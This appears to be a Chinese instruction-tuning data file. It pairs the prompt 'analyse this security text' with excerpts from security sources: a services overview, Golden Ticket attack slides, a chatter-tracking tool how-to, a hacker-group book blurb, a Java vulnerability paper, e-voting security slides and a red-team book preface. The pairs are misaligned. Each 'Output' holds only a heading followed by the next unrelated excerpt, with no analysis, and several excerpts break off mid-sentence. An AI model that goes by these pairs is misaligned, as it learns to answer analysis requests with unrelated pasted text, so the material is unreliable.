安全测试就是安全服务中最常⻅⼀类服务，也是最容易接触的，⼀个红蓝对抗的研究者、代码审计的研
究者、普通渗透测试研究者，都可以轻易上⼿，对传统的Web应⽤系统进⾏⿊盒+⽩盒的渗透测试
这也就是安全测试需要⾼技能和⾼素质的安服⼈员的原因，需要想研究员的研究和学习能⼒看⻬。
配置检查
  中间件基线
  数据库基线
  安全设备策略
  ⽹络设备策略
抗反编译能⼒
代码混淆防护
基础合规检查
物理环境检测
Web渗透测试
移动应⽤渗透测试
代码审计服务
安全公司安全服务采⽤代码审计的形式提供服务，需要代码审计能⼒强⼤的安全⼯程师，采⽤快速的⽅
式，对代码进⾏审计
护⽹⾏动
随着国->省->地市的护⽹⾏动越来越频繁，规模越来越⼤，在安全测试当中的实战攻击，已经越来越趋
近于真实的攻击，所以在安全服务中，有很⼤⼀部分⼯程师是实际的安全攻防⼈员，他们也是以内⽹渗
透和漏洞追踪为主，积累响应的攻击⼿段和藏匿⼿段。
但是我们可以显⽽易⻅的，这种内卷⾏为导致红队⼈员的攻击越来越难，需要从更⾼维度的攻击⼿法才
能攻破⽬标，从17年⾄今，其攻击⼿段可以从下图⻅的：
hvv的攻击催⽣了安全服务⼤量的红队测试、蓝队防御等项⽬，其在推动技术更新换代的上是功不可没
的。
安全运维
安全运维是安全服务中最“体⼒”的⼯作，也是⼤家最不参与的安全⼀环，那就是靠体⼒换取脑⼒，对⽹络
安全整体⼀个架构辅助设备的⻓期监视，其中的⼯作内容就有如下:
当然 安全运维的另⼀项必备技能就是应急响应的能⼒-对⽇志的分析
⽹络的可靠性：⽹络设备和链路冗余、设备选型及可扩展性
⽹络边界的安全：⽹络设备的ACL、防⽕墙、vlan、物理隔离等
⽹络协议分析：路由、交换、组播、IGMP、ipv4、ipv6
⽹络流量分析：带宽流量分析、异常流量分析、抗拒绝服务能⼒
⽹络通信安全：通信监控、通信加密、vpn分析等
设备⾃身安全：snmp、⼝令、设备半杯、系统漏洞、端⼝
⽹络安全管理：⽹管系统、登陆协议、⽇志审计、身份验证
⽇志分析->判断事件类型->获取⽇志⽂件->⽇志分析->分析过程记录->输出报告
每年的hvv这个重⼤的活动中，顶尖蓝军的技能也会让红军⾮常...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bio
 SecurityResearcher/Tester(HarrisCorp)
 FormerArmyRedTeamOperator
 OneofthedevelopersofPowerSploit
 Twitter:@obscuresec
 Blog:www.obscuresec.com
Sayhellotokrbtgt
He’sbeenheresincethebeginning
TheEarlyYears:20012004
GrowingPains:20052008
MaturityRealized:20092012
MemeCount:1
SkeletonsintheCloset:20132014
MemeCount:2
http://blog.gentilkiwi.com/securite/mimikatz/goldenticketkerberos
Howoldisyourkrbtgt hash?
Knowwhereyourkrbtgt hashis?
Thepointis…
Ifyourenterprisehaseverbeen
compromised,itmaystillbecompromised–
evenifyouchangedeverypassword.
Wescansowearesecure
Goodluckwiththat
MemeCount:3
“SpoofedPAC”Attack
“GoldenTicket”Attack
https://twitter.com/gentilkiwi/status/415147415474167808
DemoTime
Mitigation
 Don’tgetownedagain
 UseRODCwhereappropriate
 Upgradefunctionallevel
 Resetthekrbtgt accountpasswordonthe
PDCemulatorTWICE
Detection
 Needleinahaystack
 HardertodetectthanPtH
 Lookforstrangeaccountactivity
 Lowprivilegedaccountperformingprivileged
actions
Thanks
 SkipDuckwall
 BenjaminDelpy
 JoeBialek
 WillPeteroy
 CarlosSpicyweiner
 MattGraeber
 Manyothers…
Questions?


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Index
Veritas Project
Computer Security Trends
Military Intelligence
American Minds
Submit HQ
Contact Us
Understanding the Security Trends Interface
So how does this thing work? Basically the premise of this study is to track increases in "chatter" (based on keywords) just like what
ECHELON, INTERPOL, or the other intelligence gathering organizations does out there. This is based on information gathered through
forums, websites, blogs, and data from various contributors. This how-to presents a quick overview of how this whole thing works.
Let's start off with a simple data mining exercise. For this one, let us search for increases in chatter on the keyword "DEFCON". This is
done by entering DEFCON in the "chatter" field and putting the mode as "manual". I'll explain later the difference between "manual"
and "computer-assisted" later as well as the "level" field. Press "Go" and you will get this:
Note that the increases in DEFCON chatter expectedly corresponds around the time for call for papers and the conference itself. Next
let's try overlaying it with something we know that is related to DEFCON, the keyword "PAPERS". Using the same instructions, we add
the word "PAPERS" in the chatter field separated by a space. Here's what we get:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
1 of 9
4/25/2009 8:06 PM
Note that increases in chatter on the keyword "PAPERS" happen before and after the CFP and before and after the conference itself.
Notice how closely the the increases in chatter follows. You'll notice a strange increase in "PAPER" chatter around the end of the year.
Could this be still related to DEFCON? Possibly, but let's look more closely.
The next demo will show you the "computer-assisted" mode. The computer-assisted mode let's the computer or more specifically, the
AI algorithms to determine which keywords are related to the topic we are researching. Remember, in our first search, we manually
determined that there...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

While other books have tackled the military-internet complex, tech-enabled intelligence
gathering, and cyberwarfare, together with WikiLeaks, Edward Snowden, and the 2016 US
election, there is a crucial element to the stories missing in all of
them. In his revelatory new book, CULT OF THE DEAD COW: How
the Original Hacking Supergroup Might Just Save the World,
acclaimed journalist Joseph Menn profiles the people dedicated
to information security who are out of the spotlight and in the
shadows, fighting to protect our personal data and freedom as
well as our national security.
CULT OF THE DEAD COW is the story of the oldest surviving,
most respected, and most famous hacking group of all time. Its
members released tools that forced giant companies to work
harder to protect consumers, and then they launched the broad
movement known as hacktivism.
Though it has never had more than twenty active members at a time, the Cult of the Dead Cow
(cDc) has multiple claims on history. As it evolved from a pre-web community, cDc members
developed hacking software that is still being used by criminals, spies, and professional network
administrators. They released the top tool for testing password security and created what was
for years the best technique for controlling computers from afar. They contributed to the
development of Tor, the most important privacy tool on the net, and helped build cyberweapons
that advanced US security without injuring anyone. The Cult of the Dead Cow defined hacktivism
and tirelessly promoted the idea to the public and fellow hackers, leading the movement and
urging programmers to wield their keyboards in service of human rights. As cDc matured, its
members became leaders in changing hacking from a hobby to a profession to a mode of
warfare.
Though most Cult of the Dead Cow members have remained anonymous through the years,
sixteen have agreed to be named for the first time in these pages, including all the previously
cloake...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HP Security Research
Zero Day Initiative
Java Every-Days
Exploiting Software Running
on 3 Billion Devices
Brian Gorenc
Manager, Vulnerability Research
Jasiel Spelman
Security Researcher
HP’s Zero Day Initiative
would like to thank the following researchers
for their submissions over the last three years:
Alin Rad Pop
Chris Ries
Aniway.Anyway@gmail.com
James Forshaw
Anonymous
Joshua J. Drake
Anonymous
Michael Schierl
Anonymous
Peter Vreugdenhil
axtaxt
Sami Koivu
Ben Murphy
Vitaliy Toropov
VUPEN Security
Also, we would like to thank the following people
 for providing additional information in support of this paper.
Mario Vuksan of Reversing Labs
Adam Gowdiak of Security Explorations
Java Every-Days:  Exploiting Software Running on 3 Billion Devices
Introduction
HP’s Zero Day Initiative (ZDI), the world’s largest vendor agnostic bug bounty program, experienced a surge in
submissions for Oracle’s Java platform in late 2012 and early 2013. It became a fairly regular occurrence for several
new 0-day Java vulnerabilities to show up in the queue over a seven-day span. One of the more interesting trends
revealed that ZDI researchers were not going after a single vulnerability class. At the time, the industry focused on
sandbox bypasses and cases were arriving into the ZDI that took advantage of that weakness, but submissions
identifying memory corruption vulnerabilities were still just as common. This prompted the following questions:
• What is truly the most common vulnerability type in Java?
• What part of the architecture has had the most vulnerabilities reported against it?
• What part of the architecture produces the most severe vulnerabilities?
• How the vulnerabilities being used in the threat landscape map to the ZDI submissions?
• How is Oracle responding to this increased pressure?
These questions continued to be discussed internally when exploit kit authors began including several new Java
vulnerabilities during the f...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Increasing the security of
your election by ﬁxing it
Daniel C. Silverstein
Damon McCormick
dans@csua.berkeley.edu
damonmcc@uclink.berkeley.edu
Part One:
Disaster Strikes
The 2000 US Presidential Election led
many to question the accuracy of paper
ballot systems
Several companies seized
on this opportunity to
promote electronic
voting systems:
• Election Systems & Software
• Diebold Election Systems
• Hart InterCivic
• Sequoia Voting Systems
• “...three independent but redundant
memory paths ensure that no votes will
ever be lost or altered.” [1]
• “...World-class encryption techniques
utilized to store election results.” [2]
• “Proprietary ﬁrmware on closed system
prevents hacker access.” [3]
Lofty Promises Made
• Trust Us!
• We know what we’re doing!
• Of course we don't have bugs!
• Don't have security holes either!
• And, even if we did, (which we don’t) nobody
could ever actually exploit them
The Message?
And so, Democracy was made safe from evil hackers
The End
If it looks like snake oil...
And it smells like snake oil...
And it tastes like snake oil...
It’s probably snake oil [4]
Or Not
Q: What’s the ﬁrst thing you do after rooting a box?
Q: What’s the second thing you do after rooting a box?
Pop Quiz 1
A: Hide your presence
A: Patch the hole you came in through
(so nobody else can use it)
Q: How do you tell that someone rooted your box?
Pop Quiz 2
A: Good question!
Forensics analysis is hard!
You can't trust information from a compromised machine.
Q: How do you tell that someone tampered with the
electronic voting machine you just used to vote?
A: You don’t
Pop Quiz 3
• The major commercial electronic voting
machines do not produce a voter veriﬁable
paper trail
• Though, thanks in part to the work of David Dill [5],
some of the vendors are testing prototypes that do
• Without a paper trail, thre is no way to
detect tampering
No Paper Trail
• The major commercial electronic voting
systems are proprietary platforms, protected
as trade secrets
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

实战攻防演习之
红队视角下的防御体系突破
1
实战攻防演习之
红队视角下的防御体系突破
3
前    言
网络实战攻防演习，是新形势下关键信息系统网络
安全保护工作的重要组成部分。演习通常是以实际运
行的信息系统为保护目标，通过有监督的攻防对抗，
最大限度地模拟真实的网络攻击，以此来检验信息系
统的实际安全性和运维保障的实际有效性。
2016年以来，在国家监管机构的有力推动下，网
络实战攻防演习日益得到重视，演习范围越来越广，
演习周期越来越长，演习规模越来越大。国家有关部
门组织的全国性网络实战攻防演习从2016年仅有几家
参演单位，到2019年已扩展到上百家参演单位；同时
各省、各市、各行业的监管机构，也都在积极地筹备
和组织各自管辖范围内的实战演习。一时间，网络实
战攻防演习遍地开花。
在演习规模不断扩大的同时，攻防双方的技术水平
和对抗能力也在博弈中不断升级。
2016年，网络实战攻防演习尚处于起步阶段，攻
防重点大多集中于互联网入口或内网边界。
2017年，实战攻防演习开始与重大活动的网络安
全保障工作紧密结合。就演习成果来看，从互联网侧
实战攻防演习之
红队视角下的防御体系突破
4
发起的直接攻击仍然普遍十分有效；而系统的外层防
护一旦被突破，横向移动、跨域攻击，往往都比较容
易实现。
2018年，网络实战攻防演习开始向行业和地方深
入。伴随着演习经验的不断丰富和大数据安全技术的
广泛应用，防守方对攻击行为的监测、发现和溯源能
力大幅增强，与之相应的，攻击队开始更多地转向精
准攻击和供应链攻击等新型作战策略。
2019年以来．网络实战攻防演习工作受到了监
管部门、政企机构和安全企业的空前重视。流量分
析、EDR、蜜罐、白名单等专业监测与防护技术被防
守队广泛采用。攻击难度的加大也迫使攻击队全面升
级，诸如0day漏洞攻击、1day漏洞攻击、身份仿冒、
钓鱼WiFi、鱼叉邮件、水坑攻击等高级攻击手法，在
实战攻防演练中均已不再罕见，攻防演习与网络实战
的水平更加接近。
如何更好地参与网络实战攻防演习？如何更好地借
助实战攻防演习提升自身的安全能力？这已经成为大
型政企机构运营者关心的重要问题。
作为国内领先的网络安全企业，奇安信集团已成为
全国各类网络实战攻防演习的主力军。奇安信集团安
实战攻防演习之
红队视角下的防御体系突破
5
服团队结合200余次实战攻防演习经验，总结编撰了这
套实战攻防演习系列丛书，分别从红队视角、蓝队视
角和紫队视角，来解读网络实战攻防演习的要领，以
及如何结合演习提升政企机构的安全能力。
需要说明的是，实战攻防演习中的红方与蓝方对抗
实际上是沿用了军事演习的概念和方法，一般来说，
红方与蓝方分别代表攻击方与防守方。不过，红方和
蓝方的名词定义尚无严格的规定，也有一些实际的攻
防演习，将蓝队设为攻击队、将红队设为防守队。在
本系列丛书中，我们依据绝大多数网络安全工作者的
习惯，统一将攻击队命名为红队，将防守队命名为蓝
队，而紫队则代表组织演练的机构。
《红队视角下的防御体系突破》是本系列丛书的第
一本。本书希望通过归纳总结红队常用的攻击策略和
攻击战术，帮助政企机构理解攻方思维，以便提升演
习水平，构筑更有效的安全防御体系。正所谓“知己知
彼，百战不殆”。
实战攻防演习之
红队视角下的防御体系突破
6
目    录
第一章    什么是红队 .....................................1
第二章    红队三板斧——攻击的三个阶段............3
一、第一阶段：情报收集.......................................3
二、第二阶段：建立据点.......................................4
三、第三阶段：横向移动.......................................5
第三章    红队也套路——常用的攻击战术............7
一、利用弱口令获得权限.......................................7
二、利用社工来进入内网.......................................8
三、利用旁路攻击实施渗透.................................10
四、秘密渗透与多点潜伏.....................................11
第四章    红队三十六计——经典攻击实例..........14
一、浑水摸鱼——社工钓鱼突破系统..................14
实战攻防演习之
红队视角下的防御体系突破
7
二、声东击西——混淆流量躲避侦察...........